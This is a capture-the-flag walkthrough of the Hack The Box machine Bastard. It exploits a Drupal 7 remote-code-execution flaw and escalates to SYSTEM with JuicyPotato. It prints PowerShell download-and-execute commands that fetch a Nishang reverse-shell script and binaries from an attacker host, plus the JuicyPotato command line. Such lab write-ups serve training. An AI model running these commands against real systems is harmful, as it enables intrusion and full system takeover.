Hack The Box

Hack The Box: Bastard Walkthrough

Bastard exploits Drupalgeddon for command execution and SeImpersonatePrivilege for SYSTEM.

Bastard Hack The Box machine artwork
Official Hack The Box machine artwork for Bastard.Hack The Box machine page opens in a new tab

Recon & Enumeration

Use nmap to scan for open ports and services:

HackTheBox “Bastard” Walkthrough, figure 2

We see the presence of Drupal 7. To determine the exact version, we can leverage the changelog file.

See what information the browser will display to us.

HackTheBox “Bastard” Walkthrough, figure 3

Also, based on the page source code, we can confirm that it is Drupal 7.

HackTheBox “Bastard” Walkthrough, figure 4

We will now conduct a searchsploit for known exploits targeting Drupal version 7.

HackTheBox “Bastard” Walkthrough, figure 5

To refine the results and discover a more suitable exploit, I will search on Google.

HackTheBox “Bastard” Walkthrough, figure 6

Upon testing multiple listed exploits, I determined that the one by pimps was the most effective. You can find it here opens in a new tab.

I proceeded to copy the RAW script and saved it as "drupal.py."

HackTheBox “Bastard” Walkthrough, figure 7

We download it to our attack box.

HackTheBox “Bastard” Walkthrough, figure 8

The script is straightforward. You only need to provide the command to execute and the target (website). It will exploit the service and provide the command's output as a result.

HackTheBox “Bastard” Walkthrough, figure 9

I will now obtain a reverse shell on the target.

To achieve this, I will use the "Invoke-PowerShellTcp.ps1" script from Nishang Scripts, which can be found here opens in a new tab.

After acquiring a copy of the script on my attacker machine, I placed it in my working directory and added the following command at the end:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4343
HackTheBox “Bastard” Walkthrough, figure 10

Next, we run an HTTP server within the working directory of our attack box.

HackTheBox “Bastard” Walkthrough, figure 11

We initiate a netcat listener on port 4343 to capture the incoming shell.

HackTheBox “Bastard” Walkthrough, figure 12

We execute the command below to download and execute the script directly into memory:

python3 drupal.py -c "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')" http://10.10.10.9
HackTheBox “Bastard” Walkthrough, figure 13

The script file has been successfully downloaded from our attack box.

HackTheBox “Bastard” Walkthrough, figure 14

Consequently, we establish a shell on our listener.

HackTheBox “Bastard” Walkthrough, figure 15

After gaining a shell on the target box, I proceeded to conduct manual enumeration, commencing with gathering system information.

HackTheBox “Bastard” Walkthrough, figure 16

The host is 64-bit Windows Server 2008 R2 with no installed hotfixes, so the next checks should include applicable kernel vulnerabilities and 64-bit tooling.

Check the current user's privileges:

HackTheBox “Bastard” Walkthrough, figure 17

SeImpersonatePrivilege is enabled, making a Potato-family impersonation path relevant for SYSTEM escalation.

HackTheBox “Bastard” Walkthrough, figure 18

Download the 64-bit JuicyPotato executable from the GitHub release opens in a new tab.

HackTheBox “Bastard” Walkthrough, figure 19

Keep the attack-system HTTP server running from the working directory.

HackTheBox “Bastard” Walkthrough, figure 20

Create a temp directory within the C partition.

HackTheBox “Bastard” Walkthrough, figure 21

We proceed to download JuicyPotato onto the target machine.

(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.4:8080/JuicyPotato.exe', 'C:\temp\JuicyPotato.exe')
HackTheBox “Bastard” Walkthrough, figure 22

Execute the exploit and see the outcome.

HackTheBox “Bastard” Walkthrough, figure 23

JuicyPotato requires a COM server port and a valid CLSID. Select one from the tool author's list for this OS version or run the following PowerShell script to enumerate the system's CLSIDs:

GetCLSID.ps1 script opens in a new tab

Create a batch file on the attacker system that downloads and runs the Nishang PowerShell script:

echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.5:8080/Invoke-PowerShellTcp.ps1')" > shell.bat
HackTheBox “Bastard” Walkthrough, figure 24

Download the batch script onto the target box using the command below.

(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.5:8080/shell.bat', 'C:\temp\shell.bat')
HackTheBox “Bastard” Walkthrough, figure 25

Run the exploit. If the default CLSID fails, test an alternative from the exploit publisher's list here opens in a new tab.

For Windows Server 2008 R2, the relevant CLSIDs are:

HackTheBox “Bastard” Walkthrough, figure 26

Proceed with using the first CLSID from the list.

C:\temp\JuicyPotato.exe -l 4343 -p C:\temp\shell.bat -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
HackTheBox “Bastard” Walkthrough, figure 27

Returning to the listener, I successfully obtained a SYSTEM shell.

HackTheBox “Bastard” Walkthrough, figure 28

Further reading

Evidence connected to this article.

Back to article start